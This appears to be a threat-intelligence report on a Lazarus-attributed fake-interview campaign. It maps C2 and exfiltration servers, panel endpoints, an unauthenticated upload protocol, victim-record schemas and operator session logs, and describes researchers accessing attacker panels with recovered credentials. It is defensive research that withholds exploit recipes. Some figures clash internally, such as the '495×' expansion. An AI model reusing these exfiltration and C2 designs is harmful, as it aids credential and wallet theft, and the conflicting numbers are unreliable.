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1. Executive Summary

This article reconstructs a Lazarus-attributed fake-interview ecosystem that combined developer social

engineering, malicious repositories, C2 panels, FTP and HTTP exfiltration, fake cryptocurrency

exchanges, cryptomining, and blockchain intelligence compromise. The investigation ran from

December 2025 through April 2026. Final infrastructure enumeration and exfiltration telemetry confirm 

14,716+ victim records across 74 countries, with an infrastructure footprint of 53,941 unique public IP

addresses, 375,989 unique domains, 16,025 Ethereum wallet addresses, and 250 ngrok tunnel

endpoints.

The operational intelligence gathered in this investigation provides an attribution anchor rarely achieved

in open-source research. The findings independently converge with the intelligence of eight major

security vendors: Palo Alto Networks Unit 42, Group-IB, Kaspersky, ESET, Cisco Talos, NTT Security,

JPCERT/CC, and Mandiant. This unified consensus firmly links the sprawling infrastructure and

execution vectors to the Lazarus Group.

Financially, the investigation documents a multi-track monetisation strategy. Blockchain forensics traced

over $204 million in stolen cryptocurrency to seven wallet clusters prepared for sanctions referral. A

parallel retail-investor fraud track operated thirteen fake cryptocurrency exchanges and casino

platforms. The most prominent, AlphaSportsTech, defrauded 234 real investors of ~$140,000 in

confirmed deposits.

Beyond direct financial theft, the campaign achieved high-impact corporate compromises — including

the breach of the CENTIC.io blockchain intelligence platform, handing Lazarus a 1.4 TB database of

wallet surveillance, token credit scores, and DeFi position data across seven chains. The multi-track

model (developer credential theft, fake exchange fraud, Linux cryptominer botnet), combined with the

14,716+ victim scale, cements this campaign as a foundational pillar of the DPRK's sanctions-evasion

apparatus.



2. Key Findings

# Finding Confidence

1 14,716+ victim records with exfiltrated data, spanning 74 countries HIGH

2 Infrastructure footprint: 53,941 IPs · 375,989 domains · 16,025 ETH wallets · 250 ngrok endpoints HIGH

3 $204M+ in developer wallet drains traced to seven clusters prepared for sanctions referral HIGH

4 AlphaSportsTech: ~$140K confirmed fraud across 234 real investors HIGH

5 CENTIC.io blockchain intelligence platform breach (CVSS 9.1): 1.4 TB HIGH

6 197+ malicious npm packages published, 31,000+ combined downloads HIGH

7 Linux cryptominer botnet: 104 confirmed hosts; ~36,000–72,000 estimated total MODERATE

8 Operator activity observed from India-based commercial ISP ranges; final confirmed session: April 17, 2026 HIGH

9 Eight vendor reports independently corroborate Lazarus/DPRK attribution HIGH

10 Campaign survived primary C2 shutdown via redundant FTP exfil channel HIGH

3. Investigation Timeline

The following chronology defines how Red Asgard came to investigate this campaign. The investigation

did not begin as a proactive research project. Red Asgard was targeted through the same fake-interview

machinery documented throughout this article. That targeting is the origin.

Dec 22, 2025

Red Asgard receives and clones a fake-interview repository from an Upwork employer persona. This is

the earliest confirmed artefact in the investigation corpus (filesystem birth timestamp: 2025-12-22 10:54

UTC).

Dec 24–25, 2025

Malicious repository behaviour is identified, including editor-triggered execution on folder open and a

Vercel-based payload delivery path. The operator had embedded the payload in a large code refactor —

55 files changed — designed to obscure the malicious .vscode/tasks.json  among legitimate Solana

smart-contract changes.

Jan 7, 2026

Formal malware analysis begins. Initial samples, Vercel C2 frontends, and backend infrastructure are

collected and tested in an isolated lab environment.

Jan 29, 2026

Dedicated C2 probing confirms live primary infrastructure and begins broader network mapping across

the operator's server estate.

Feb 14, 2026

Primary C2 corpus recovered, exposing victim scale (4,225+ machines at this snapshot), operator team

structure, campaign history back to December 2025, and credential inventory.

Feb 15, 2026

Operator-side development infrastructure becomes reachable through evidence recovered in the

corpus. Operator cross-contamination of the victim pipeline confirmed.



Feb 27, 2026

Operators counter-target investigator infrastructure, confirming the investigation had become visible to

them. This is the clearest evidence of a live, attentive adversary — not automated systems.

Mar 3, 2026

Primary infrastructure goes dark (entire /25 subnet decommissioned, 19 days after Shodan indexing).

Cryptocurrency drain operations and FTP exfiltration continue through separate, independent channels

— campaign does not pause.

Mar 7–9, 2026

OtterCookie exfiltration protocol, FTP exfiltration server, CI/CD supply chain compromise, operator

development infrastructure, fake-exchange backends, exchange API key inventory, and active KYC

collection systems are all mapped within a 72-hour window.

Mar 23, 2026

Primary C2 domain taken offline through legal process (HTTP 451 — Unavailable for Legal Reasons).

Domain had been active for 8+ months.

Apr 7–17, 2026

Operator activity continues in development infrastructure during the final observation window. Last

confirmed operator session: April 17, 2026, 09:19 UTC.

Apr 13, 2026

CENTIC.io blockchain intelligence platform exposure confirmed (CVSS 9.1). Responsible disclosure

package prepared.

Apr 18, 2026

Cryptominer botnet infrastructure mapped; malware samples recovered for analysis. Full infrastructure

footprint compiled: 53,941 IPs, 375,989 domains, 16,025 Ethereum wallet addresses, 250 ngrok tunnel

endpoints.

May 14–16, 2026

Public and restricted editions of the research are separated and prepared for release.

Full two-lane chronological table in Appendix — [see Appendix: Investigation and Adversary Campaign

Timeline].

4. Scope, Ethics, and Handling Rules

4.1 Scope

This article covers the technical architecture, malware families, victimology in aggregate, financial

tracing methodology, and defensive guidance derived from this investigation. It documents the Lazarus

Group's "Contagious Interview" campaign across the period May 2025 – April 2026.

4.2 What This Article Does Not Contain

This public version deliberately excludes:

Plaintext credentials or API keys of any kind• 



Victim names, emails, hostnames, wallet seeds, or any personal identifiers

Exact C2 panel authentication flows or dump mechanics that could be reused

Operator personal identifying information that has not cleared legal review

Private keys, mnemonic phrases, or session tokens

Specific named unnotified victims

These materials are held in a restricted evidence package, distributed only to vetted law enforcement,

CERTs, affected providers, and counsel-controlled sharing channels.

4.3 Why This Boundary Matters

Publishing raw victim credentials does not strengthen the research finding. It creates a second incident.

Publishing exact C2 access recipes does not prove the claim was real — screenshots, sanitised

schemas, and aggregate data do that. The world does not need raw passwords to believe the story.

4.4 Evidence Handling

All evidence was collected from Lazarus-controlled infrastructure as part of independent security

research aimed at victim notification and threat mitigation. Evidence is stored in cryptographically-

verified archives with timestamped chain-of-custody records. Complete evidence packages have been

prepared for sharing with law enforcement, CERT bodies, and affected organisations through controlled

channels.

5. Methodology

5.1 Investigation Waves

The investigation proceeded across 113+ numbered sessions (waves), each targeting a specific

evidence-collection objective. Waves were conducted from an isolated Kali Linux virtual machine

connected through Mullvad VPN (exit nodes: Stockholm, Sweden; Osaka, Japan) to ensure investigator

attribution control.

5.2 Evidence Collection Classes

Class Method Examples

Passive reconnaissance No active probe Shodan, WHOIS, public blockchain explorers, GitHub public data

Active enumeration Network contact, no authentication nmap, HTTP banner grabbing, domain lookups

Authenticated access Credentials recovered from victim data FTP server, C2 admin panel, Jenkins web interface

Malware acquisition Download from distribution servers Dropper scripts, miner binaries, payload archives

Blockchain analysis On-chain transaction tracing Transaction graph analysis, balance verification

5.3 Tools Used

Standard security research tooling throughout: nmap, Shodan API, Etherscan/BscScan block explorers,

pandoc, custom Python analysis scripts, Kali Linux environment. Custom scripts were developed for

parsing, deduplication, timeline reconstruction, malware analysis, and passive infrastructure correlation.

Active exploitation tooling is withheld from this article.

• 

• 

• 

• 

• 



5.4 OPSEC Architecture

All DNS queries, C2 interactions, and authentication events attributable to this investigation appear in

Lazarus-controlled server logs under European or Japanese IP addresses.

6. Counting Methodology

Each headline statistic is accompanied here by its deduplication logic, source classes, and exclusion

criteria.

Evidence basis — Victim Records

Claim: 14,716+ victim records with exfiltrated data

Sources:

(a) C2 admin panel victim database dump — Wave 80, February 14, 2026

(b) FTP exfiltration server directory enumeration — ongoing, 256+ directories

(c) MongoDB Atlas cluster records — post-Wave 80 extraction

Deduplication:

Records deduplicated on {UID, hostname, username, first_seen_timestamp} . Where the same

physical machine uploaded under multiple team prefixes, only one record counted.

Excluded:

Known test records (identified by placeholder hostnames), operator self-infections (identified by

presence of operator tooling on the same machine), malformed entries lacking both hostname and UID,

duplicate re-uploads of the same session.

Confidence: HIGH

What is published: Aggregate only. No victim identifiers published.

Evidence basis — Infrastructure Scale

Claim: 53,941 unique public IP addresses; 375,989 unique domains; 16,025 Ethereum wallet

addresses; 250 ngrok tunnel endpoints

Sources:

IP addresses: victim traffic logs, C2 connection pools, Shodan SSH-key botnet enumeration, Redis C2

monitoring, regex extraction from 38 GB evidence corpus.

Domains: autonomous infrastructure hunt combining passive DNS, certificate transparency logs, and

Investigation host ──► Mullvad VPN ──► [se-sto / jp-osa exit] ──► Target infrastructure

                        Lockdown mode

                        Quantum-resistant tunnels



reverse-IP enumeration across all identified IP blocks.

Ethereum wallets: blockchain transaction graph analysis starting from confirmed stolen funds.

ngrok endpoints: exfiltration log analysis revealing tunnels into victim local development environments.

Deduplication:

IPs deduplicated on CIDR-normalised address. Domains deduplicated on FQDN. ETH wallets

deduplicated on checksummed EIP-55 address.

Excluded:

CDN IP ranges (Cloudflare, Fastly, Akamai) appearing in embedded URLs. TLD-only domain entries.

Known-legitimate wallet addresses (e.g., exchange deposit addresses identified as non-operator).

Note on the 495× expansion:

Initial manual enumeration identified ~7,700 IPs and ~166 C2 nodes. A subsequent autonomous

infrastructure hunt — executing passive enumeration across all identified operator IP blocks, certificate

fingerprints, and domain registration patterns — expanded the total by 495×. The 53,941 / 375,989

figures reflect the post-expansion footprint. The 166 active-C2-servers figure remains the point-in-time

observed count of actively-serving panels.

Confidence: HIGH for IPs and domains; MODERATE for ngrok count (partial log coverage).

What is published: Aggregate infrastructure scale. No access methods published.

Evidence basis — Financial Impact

Claim: $204M+ in cryptocurrency traced to seven wallet clusters prepared for sanctions referral

Sources:

Private keys and mnemonic phrases recovered from Lazarus exfiltration infrastructure, cross-referenced

with on-chain transaction records (Etherscan, BscScan, Polygonscan).

Methodology:

For each recovered private key: derive wallet address → query on-chain balance history → identify

outbound drain transactions → trace through one or more hops to aggregation addresses. Cluster

addresses by common-input-ownership heuristic and transaction graph proximity.

Separated clearly:

"$204M+ traced by this investigation's analysis" ≠ "formally sanctioned by OFAC." Three wallet

addresses from the cluster have been prepared for OFAC SDN submission. Four additional clusters

remain under confidential law enforcement review.

Excluded:

Estimated losses from the 4,000+ victims not individually analysed. The $204M is a confirmed floor, not

a ceiling.

Confidence: HIGH for the three disclosed clusters. MODERATE for the estimated aggregate.

What is published: Blockchain addresses of the three disclosed clusters are included in the IOC

appendix. Full transaction workpapers are in the Restricted Appendix.



Evidence basis — AlphaSportsTech Fraud

Claim: ~$140,000 across 234 real investors

Sources:

AlphaSportsTech MongoDB Atlas cluster — user account records, deposit transaction references,

withdrawal request logs.

Confidence: HIGH for the corrected figure.

What is published: Aggregate amount and victim count only. No individual victim data published.

Evidence basis — Vendor Attribution Convergence

Claim: Eight independent vendor reports corroborate Lazarus/DPRK attribution

Sources:

ESET (September 2023), Cisco Talos (December 2023), Group-IB (September 2024), Palo Alto

Networks Unit 42 (October 2024), Kaspersky (December 2024), NTT Security (2024), JPCERT/CC

(2024), Mandiant/Google (2024).

Scope of convergence:

Each vendor independently attributed the BeaverTail malware family, the fake-recruitment delivery

mechanism, or the FTP-based exfiltration protocol to Lazarus Group / DPRK. None coordinated with this

investigation. None reviewed this article prior to publication.

What "corroboration" means here:

Their published reports overlap on malware family, TTPs, and attribution. They do not constitute peer

review of this investigation's specific findings.

Confidence: HIGH.

7. Attribution Framework

7.1 Attribution Dimensions

Attribution was evaluated across four independent dimensions:

Technical: Do malware samples, C2 protocols, code artefacts, and TTPs match known Lazarus

baselines?

Operational: Do targeting scope, scale, timing, and economic motivation align with documented DPRK

strategy?

Infrastructure: Do IP blocks, hosting providers, ASN patterns, and domain registration practices

overlap with confirmed prior Lazarus operations?

Human (partial): Can operator activity be linked to specific geographic locations and work patterns

consistent with DPRK IT worker operations?



7.2 Evidence Across Dimensions

Technical — HIGH CONFIDENCE:

BeaverTail Qt-based cross-platform architecture matches Unit 42 October 2024 documentation

InvisibleFerret Python RAT with FTP exfil and AnyDesk component matches Group-IB and Unit 42

component catalogue

OtterCookie unauthenticated HTTP upload sink is a new component documented in this

investigation

Cryptominer dropper ( kworker.sh ) and miner binary ( javae ) share distribution infrastructure with

Contagious Interview C2 elements

npm attack pattern ( .vscode/tasks.json runOn:folderOpen , eval(server_response)  C2 callback)

matches documented 2023–2024 Lazarus supply-chain campaigns

Operational — HIGH CONFIDENCE:

Cryptocurrency developer targeting is specific to DPRK's documented sanctions-evasion financial

mandate

Scale (197+ malicious packages, 31,000+ downloads, 14,716+ victims, 74 countries) is consistent

with state-resourced operations

Fake job recruitment vector specifically associated with Lazarus Group in multiple public

government advisories

Campaign operated through Christmas/New Year 2025 without pause; Monday–Friday professional

workday sessions observed in operator infrastructure logs

Infrastructure — MODERATE-HIGH CONFIDENCE:

M247 (AS9009) European IP blocks appear in prior confirmed Lazarus C2 reports

Zero IP overlap with Unit 42's October 2024 disclosed C2 nodes — consistent with documented

Lazarus infrastructure rotation cadence (2–6 month cycles)

Hetzner (AS24940) for exfiltration server; Contabo (AS51167) for operator development server —

European hosting consistent with documented Lazarus provider preferences

Human — MODERATE CONFIDENCE:

Operator activity patterns consistent with full-time professional schedule from India (IST business

hours)

Login IP ranges attributed to Indian commercial ISPs (Airtel, BSNL)

Consistent with documented DPRK IT worker model of operations via third-country infrastructure

7.3 Attribution Confidence

Overall: HIGH for DPRK/Lazarus-attributed activity. Operator-side labels ("Ibrahim," "Raja") are

treated as observed infrastructure artifacts, not verified legal identities.

• 

• 

• 

• 

• 

• 

• 

• 

• 

• 

• 

• 

• 

• 

• 



Part III — Infrastructure Reconstruction

Chapter 8: C2 Topology — Overview and Layer Model

8.1 Architecture Overview

The Lazarus Contagious Interview infrastructure as operated from January through April 2026 is best

understood as a four-layer architecture with distinct functional roles, each layer served by separate

hardware on separate hosting providers:

This layered design provides operational resilience: takedown of any single layer does not immediately

disable the others. When the primary C2 (Layer 2) was shut down on March 3, 2026, the exfiltration

layer (Layer 3, FTP at 195.201.104.53) continued accepting victim uploads—demonstrating that

BeaverTail/InvisibleFerret infections maintained alternate exfiltration paths independent of the primary

C2 channel.

The cryptominer botnet operates as a partially-overlapping but structurally distinct sub-infrastructure

with its own C2 node (Redis at 103.174.189.183:6379) and distribution servers (34.70.205.211, GCP),

sharing backend operator resources but using separate victim-facing infrastructure.

┌─────────────────────────────────────────────────────────────────────┐

│  LAYER 1 — LURE / SOCIAL ENGINEERING                                │

│  13 fake exchanges, 2 fake casinos, job lure websites               │

│  Jenkins dev server: 94.136.184.44 (Contabo, Germany)              │

│  Mailcow phishing: mail.tokenloopz.com                              │

└──────────────────────────┬──────────────────────────────────────────┘

                           │ victim visits lure, downloads malware

┌──────────────────────────▼──────────────────────────────────────────┐

│  LAYER 2 — MALWARE STAGING / C2                                     │

│  Primary C2: 146.70.253.107:1224/1245 (M247, offline Mar 3)        │

│  Vercel C2: rest-icon-provider.link (offline Mar 23, legal takedown) │

│  Backup C2: rest-icon-handler.store (Hostinger, partial)           │

│  OtterCookie socket: 144.172.108.236 (Cloudzy)                     │

└──────────────────────────┬──────────────────────────────────────────┘

                           │ malware phones home, receives commands

┌──────────────────────────▼──────────────────────────────────────────┐

│  LAYER 3 — EXFILTRATION / COLLECTION                                │

│  FTP server: 195.201.104.53:21 (Hetzner, Germany) — active Mar 2026│

│  OtterCookie sink: 195.201.104.53:6109 / :6939                    │

│  MongoDB Atlas clusters (14 active, 159.41.0.0/16)                │

└──────────────────────────┬──────────────────────────────────────────┘

                           │ credentials/wallets stored

┌──────────────────────────▼──────────────────────────────────────────┐

│  LAYER 4 — ANALYTICS / OPERATOR                                     │

│  Admin panel: 146.70.253.107:1244/5000 (offline)                   │

│  Financial panel: 65.21.233.44:4041 (Hetzner)                     │

│  Jumpbox: 146.70.41.152 (M247)                                     │

│  Operator communications: 95.164.17.6 (TeamSpeak, TS3)            │

└─────────────────────────────────────────────────────────────────────┘



8.2 Overall Infrastructure Scale

At peak operation (January–February 2026), this investigation enumerated the following infrastructure

footprint:

Category Count / Scale

Confirmed active C2 servers (point-in-time) 6

Total unique public IP addresses (full footprint) 53,941

Total unique domains enumerated 375,989

Ethereum wallet addresses identified 16,025

ngrok tunnel endpoints (victim dev servers) 250

Hosting providers used 7+

Fake exchange / lure platforms 13+

MongoDB Atlas clusters 14 active

Distinct operator email domains 4 (tokenloopz.com, nexvyon.com, alphasportstech.com, others)

GitHub accounts used for staging 2 confirmed (bitcoin2026a, stardev0914)

TeamSpeak operator comms server 1 (95.164.17.6)

The 53,941 unique public IP address figure, 375,989 domains, 16,025 Ethereum wallet addresses, and

250 ngrok tunnel endpoints derive from a subsequent autonomous infrastructure hunt that executed a

495× expansion of the initial operator asset inventory. The 53,941 IP total represents the union of: (a)

IPs from C2 connection pools and victim traffic logs, (b) botnet victim enumeration via Shodan, (c)

Redis monitoring, and (d) the expanded hunt's passive enumeration of operator-associated

infrastructure. The 250 ngrok endpoints are particularly significant — they exposed victim developers'

local development servers to Lazarus operators over authenticated tunnels, enabling direct access to

developer workstations that were behind NAT.

Chapter 9: Hosting Provider Analysis and ASN Fingerprinting

9.1 Primary Hosting Providers

Lazarus Group's provider selection for this campaign reflects a deliberate pattern seen in multiple prior

operations: use of European-affiliated, privacy-conscious VPS providers offering anonymous or

cryptocurrency-payment registration, with no relationship to major US cloud providers that might

respond quickly to investigating authorities requests.

M247 (AS9009) — Primary C2 Provider: The 146.70.0.0/16 address block belongs to M247 Ltd., a

Romanian-headquartered provider offering data centre services in Manchester (UK), Amsterdam,

Frankfurt, Bucharest, and others. M247 has appeared in prior Lazarus attribution reports; its AS9009

space appears in documented DPRK operation infrastructure going back to at least 2020.

The primary C2 server at 146.70.253.107 occupied a /25 subnet (146.70.41.128/25) with at least 23 to

37 companion infrastructure nodes, all of which were simultaneously taken offline on March 3, 2026—a

coordinated shutdown of the entire subnet rather than individual server deprovisioning. The jumpbox/

relay at 146.70.41.152 was part of the same block.



Hetzner (AS24940) — Exfiltration Provider: Hetzner Online GmbH, a German cloud provider, hosts

the FTP exfiltration server at 195.201.104.53. Hetzner is widely used by legitimate customers and does

not appear in prior Lazarus operator bulletins, suggesting the group may have shifted to Hetzner

specifically to avoid provider-level detection triggered by prior M247 disclosures.

The financial panel at 65.21.233.44 (port 4041) is also on Hetzner infrastructure (AS24940, Helsinki

colocation point).

Contabo (AS51167) — Development/Operations Provider: Contabo GmbH, another German

provider, hosts the Jenkins development server at 94.136.184.44 (hostname:

vmi2447496.contaboserver.net). This server ran continuously for at least 106 days before discovery,

logging daily operator sessions from India. Contabo's relatively low cost and European data protection

jurisdiction make it an attractive choice for long-duration operational infrastructure.

The same AS51167 space appears in the cryptominer botnet victim pool (185.225.232.50,

194.163.180.106, 213.136.88.121 — all Contabo Germany), suggesting that Lazarus operated

cryptominer delivery tests or initial infections within their own Contabo server estate before propagating

to external victims.

DataPacket (AS200019) — Secondary C2: The secondary C2 at 194.180.207.18 belongs to

DataPacket / Serverius (AS200019), a Netherlands-based provider. The financial panel backup at 

194.180.207.18 completed an apparent active C2 pair with the M247 primary.

Cloudzy (AS51395) — OtterCookie Component: The OtterCookie Socket.IO relay server at 

144.172.108.236 is on Cloudzy infrastructure (AS51395). Cloudzy is a controversial provider that has

previously been flagged in threat intelligence reports for hosting cybercrime infrastructure due to lax

abuse-response policies.

Vercel — Test and Production C2 (Serverless): An architecturally notable choice was the use of

Vercel, a serverless JavaScript platform primarily used by legitimate web developers. The domains 

rest-icon-provider.net  (test, registered May 29, 2025) and rest-icon-provider.link  (production,

registered July 8, 2025) were hosted on Vercel's Anycast infrastructure (IPs 64.29.17.1, 64.29.17.65,

VERCEL-12 ASN). Vercel's CDN architecture provides automatic geographic distribution, high

availability, and TLS certificate automation without requiring the operator to manage server

infrastructure—making it attractive as a low-maintenance C2 frontend. The Vercel deployment was

eventually taken down via legal process on March 23, 2026, returning HTTP 451 (Unavailable For Legal

Reasons).

9.2 ASN Distribution of the Victim-Facing Botnet

The cryptominer botnet victim pool (104 confirmed systems identified via Shodan SSH key search)

shows a different hosting distribution, reflecting the attack surface rather than operator preference:

Provider / ASN Compromised Systems

Google Cloud Platform 14

DigitalOcean 13

Contabo 5

Oracle Cloud 3

Linode 3

Aliyun (Alibaba Cloud) 4



Provider / ASN Compromised Systems

Beijing Volcano Engine 4

Chinanet 3

OVH 2

HOSTKEY 2

Residential ISPs (Telmex, Chunghwa, TATA) 4

Other 47

The high proportion of cloud-hosted systems is consistent with the botnet's propagation mechanism:

automated internet-wide Redis scanning preferentially targets cloud VPS instances because they are

widely deployed, frequently have default or absent Redis authentication, and run continuously without

manual reboot cycles that might disrupt the cryptominer.

Chapter 10: Primary C2 Panels (Ports 1224, 1244, 1245, 5000, 5918)

10.1 Express.js Panel Architecture

The primary Lazarus C2 backend exposed on 146.70.253.107 ran a Node.js Express application on

multiple ports. The application architecture was reverse-engineered via endpoint enumeration, JWT

analysis, and authentication with the compromised operator credential.

Port 1224 — Main Victim Management Panel:

Port 1244 — Alternate Panel Endpoint (Administrative): Higher-privilege admin panel requiring

admin-level JWT payload. Non-admin tokens return 403. The JWT uses the "none" algorithm

vulnerability (CVSS ~4.3 for authentication bypass) but the admin flag is enforced at the database layer

rather than solely from the token — so algorithm downgrade does not yield admin access.

Port 1245 — Authentication Variant: Secondary authentication endpoint observed during Wave 81

analysis. Victim browser history on multiple infected developer machines contained saved credentials

for 146.70.253.107:1245/[login-path-withheld] , confirming this as a parallel authentication interface

used by operators or contractor-level access. Victim machine identifiers are withheld.

Port 5000 — Financial Panel: A separate financial panel running at port 5000 exposed cryptocurrency

transaction management interfaces. The credentials [FINANCIAL-PANEL-CREDS REDACTED]  authenticate

this panel. A version bypass for panel version 3.0.0 was documented:

Authentication:   Operator credential → JWT (HS256, weak signing secret — withheld)

Victim export:    Authenticated endpoint returns 120MB victim database

Endpoint paths, request format, and auth headers: withheld — see Restricted Appendix D

GET /api/version

Response: { "version": "<version>" }

A version-sensitive code path in the financial panel exposed

full victim wallet data without valid operator credentials.

Exact parameter values and bypass recipe are withheld.



Port 5918 — Python Waitress Backend (Team 15 Infrastructure): A Python WSGI server (Waitress)

on port 5918 served an alternate panel associated with Team 15 operations. This server used a

different authentication mechanism from the Express panels, suggesting Team 15 maintained partially

independent backend tooling while sharing the same IP block.

10.2 Panel Database Schema

The Wave 80 victim database dump dump revealed the following schema for victim records:

The UID format for compromised victims is a hex hash, distinguishing them from the 157 "safe" wallet

owners identified in the same database—whose UIDs follow the legacy format NNN_hostname_username ,

indicating they were enrolled in the database during a prior campaign operational period (likely Wave

75–78 testing) rather than the active Wave 80 collection window.

10.3 API Endpoint Catalogue

The following API endpoints were confirmed on the primary C2 panel:

Endpoint Method Auth Required Function

Authentication endpoint POST No Issue JWT token

Victim export endpoint POST Yes (operator) Dump all victim records

/info POST Yes Query specific victim

/pdown GET Yes Download payload

/api/clients GET Yes (admin) List connected implants

/api/version GET No Return panel version

{

"uid": "<hex_hash>", // Compromised victim ID (format: MD5-like hash)

"team_id": 99, // Operator team assignment

"hostname": "laptop-name", // Victim machine hostname

"username": "user", // OS username

"os": "Windows", // Operating system

"ip": "x.x.x.x", // Victim last known IP

"country": "IN", // ISO country code

"created_at": "2026-01-15T...", // First compromise timestamp

"updated_at": "2026-03-07T...", // Last heartbeat timestamp

"files": [ // Array of exfiltrated file metadata

{

"path": "C:\\Users\\user\\AppData\\...",

"type": "wallet",

"size": 4096

}

],

"credentials": [ // Extracted credentials

{

"service": "Google",

"username": "user@gmail.com",

"password": "<plaintext>"

}

]

}



Notably, the login endpoint was removed from the server in Wave 79 (February 13, 2026), one day after

the infrastructure appeared in Shodan—indicating operator detection of reconnaissance and rapid

defensive action.

Chapter 11: FTP Exfiltration Infrastructure (195.201.104.53)

11.1 Server Characteristics

The FTP exfiltration server at 195.201.104.53 (Hetzner, Germany) is the most persistent element of the

investigated infrastructure. Unlike the primary C2 at 146.70.253.107—which was shut down on March 3,

2026—the FTP server continued operating through at least March 13, 2026, and possibly beyond.

Server fingerprint (from nmap scan, March 13, 2026):

The FTP server certificate was generated precisely at 15:07:53 UTC on January 6, 2026—a timestamp

that marks the exact moment the server was first brought online. The self-signed certificate is

characteristic of Lazarus FTP infrastructure: operators do not invest in CA-issued certificates for

exfiltration endpoints, as these would create CA-level records linking the certificate to an identifiable

organisation.

Authentication credentials (recovered from campaign data):

11.2 Directory Structure and Victim Volume

The FTP server's /10team/new/  directory contained victim data directories organised by team prefix and

hostname:

Host: 195.201.104.53

Port 21/tcp:  FileZilla ftpd 1.12.1 (FTP)

Port 80/tcp:  Node.js Express (HTTP)

Port 3000/tcp: Node.js Express / React App

Port 6109/tcp: Node.js Express (OtterCookie sink)

Port 6939/tcp: Node.js Express (OtterCookie sink)

TLS Certificate (FTP):

  Subject: CN=filezilla-server

  Issuer: CN=filezilla-server (self-signed)

  Not Before: 2026-01-06T15:07:53Z

  Not After:  2027-01-07T15:12:53Z

  Algorithm: ecdsa-with-SHA256 (P-256)

FTP Username: 10team

FTP Password: [REDACTED]



The directory naming convention {team_id}_{hostname}  enables operators to:

Rapidly identify which team collected each victim

Correlate victim identities across the primary C2 panel (where UIDs are hex hashes) and the FTP

server (where directory names contain recognizable hostname fragments)

Partition data for team-specific processing pipelines

By March 8, 2026 (Wave 135 analysis), the /new/  directory contained 256+ victim directories, with

approximately 80 new directories created between February 24 and March 8—representing

approximately 6 new victims per day, continuing despite the March 3 shutdown of the primary C2 panel.

11.3 OtterCookie Exfiltration Protocol

Ports 6109 and 6939 on 195.201.104.53 run Node.js Express servers implementing the OtterCookie

exfiltration protocol, reverse-engineered during Wave 135:

This is a deliberately minimal, write-only protocol. There is no authentication on the upload endpoint, no

response body containing instructions or keys, and no read-back mechanism. Victims' BeaverTail/

InvisibleFerret implants POST exfiltrated data to this endpoint; operators retrieve data separately

through the FTP interface.

The absence of authentication on the upload endpoint is operationally intentional: it eliminates any

callback dependency on operator-controlled credentials that might be compromised. A victim's implant

does not need a password to exfiltrate—it only needs to reach the IP address and port. This design also

makes attribution from the victim's network logs trivial (plain POST to a known IP:port), but Lazarus

does not need attribution protection on the victim side—they need upload reliability.

/10team/

└── /new/

    ├── 15_[hostname1]/          # Team 15 victims

    ├── 15_[hostname2]/

    ├── 23_[hostname]/           # Team 23 victims

    ├── 77_[VICTIM-HOSTNAME]/              # First coin-promoting victim (Feb 5, 2026)

    ├── 77_[VICTIM-HOSTNAME]/      # First Linux victim (Feb 8, 2026)

    ├── 92_unknown/              # Team 92 victims

    ├── 99_[hostnames]/          # Team 99 victims (Bangladesh, India, Vietnam)

    └── ... 256+ total directories as of March 8, 2026

1. 

2. 

3. 

Server behaviour:

GET /          → HTTP 200 "OK"

POST /upload   → HTTP 200 "OK"

Upload payload format:

{

  "path": "<victim_filesystem_path>",

  "data": "<base64_encoded_file_contents>"

}



The OtterCookie name refers to the malware component that populates this exfiltration channel—

distinct from the primary FTP exfiltration mechanism of BeaverTail. OtterCookie represents a later-stage,

stream-based exfiltration pathway that does not require maintaining a persistent FTP session, making it

suitable for victims behind restrictive firewalls.

Chapter 12: Jenkins Development and Operations Server (94.136.184.44)

12.1 Discovery and Attribution Chain

The Jenkins server at 94.136.184.44 (Contabo, Germany; hostname vmi2447496.contaboserver.net)

was discovered through victim browser history. Specifically, victim machine [VICTIM-MACHINE-REDACTED]

(a Vostro 15 3510 laptop belonging to an individual associated with victim ID 74) had saved browser

credentials for jenkins.tokenloopz.com  with authentication parameters captured in the victim data

dump:

This credential pattern—operators' own management-interface passwords appearing in victim browser

autofill databases—represents a critical operational security failure. It is possible the victim machine

was physically used by an operator during on-site coordination, or that the victim accessed the Jenkins

panel under a contractor arrangement with the operator group. Regardless of mechanism, the credential

provides a forensically unambiguous link between the victim's machine (confirmed infected by Lazarus

BeaverTail) and the Jenkins server (operator development infrastructure).

12.2 Operator Activity and Work Patterns

The Jenkins server's SSH authentication logs documented 106+ days of continuous operation, with

daily operator logins from two Indian IP ranges:

IP Range ISP ASN Notes

49.37.0.0/16 BSNL AS9829 Earlier sessions (April 7-10)

106.51.0.0/16 Airtel AS24560 Recent sessions (April 13-17)

Operator Operator A session log (last 10 days, April 2026):

{

"url": "https://[OPERATOR-JENKINS]/[auth-path]",

"username": "admin",

"userpwd": "[REDACTED]",

"pc_name": "[VICTIM-MACHINE-REDACTED]",

"created_time": "2025-04-08 16:09:25",

"last_time": "2025-08-22 13:53:06"

}



The work pattern is consistent across the observation window: sessions of 2–9 hours duration,

beginning between 07:00 and 13:00 UTC (12:30–18:30 IST), and covering a Monday-through-Friday

schedule. This is not characteristic of a part-time operator or a victim machine being opportunistically

used; it is a full professional workday schedule maintained for at least 106 consecutive days.

The operator's Git configuration, recovered from the Jenkins server filesystem:

Git commit history shows [OPERATOR-EMAIL-REDACTED] committed to the Alpharive-Tech GitHub

organisation repositories (github.com/Alpharive-Tech) through March 2026.

12.3 Fake Exchange Infrastructure

The Jenkins server hosted the development and deployment pipeline for thirteen fake cryptocurrency

exchange platforms. These platforms represent the fraud component of the dual-track operation: they

are functional (in the sense of accepting user deposits), but operate as fraudulent investment schemes

that retain victim funds.

Domains hosted on /etc/hosts (Jenkins server, April 2026):

Application directories in /var/www/html/service/: crymadx, excelon, forex, fxed, kalapuse,

keyptonomics, leogacy, minzo, mundiarch, orbitex, seawealth, tajirexchange, trueluck

2026-04-17 09:19 UTC — alpharivexmicro — 106.51.22.137 — 3h 56min  ← Day of analysis

2026-04-16 12:55 UTC — root            — 106.51.22.137 — 5h 20min

2026-04-15 08:19 UTC — alpharivexmicro — 106.51.22.137 — 7h 27min

2026-04-14 12:57 UTC — root            — 106.51.22.137 — 2h 13min

2026-04-10 07:52 UTC — alpharivexmicro — 49.37.203.171 — 2h 11min

2026-04-09 07:48 UTC — alpharivexmicro — 49.37.201.195 — 7h 52min

2026-04-08 08:19 UTC — alpharivexmicro — 49.37.200.178 — 7h 40min

2026-04-07 06:35 UTC — root            — 49.37.200.169 — 9h 31min

[user]

    email = [OPERATOR-EMAIL-REDACTED]

    name = [OPERATOR-HANDLE-REDACTED]

127.0.0.1 alphaxchange.alphasportstech.com

127.0.0.1 orbitex.alphasportstech.com

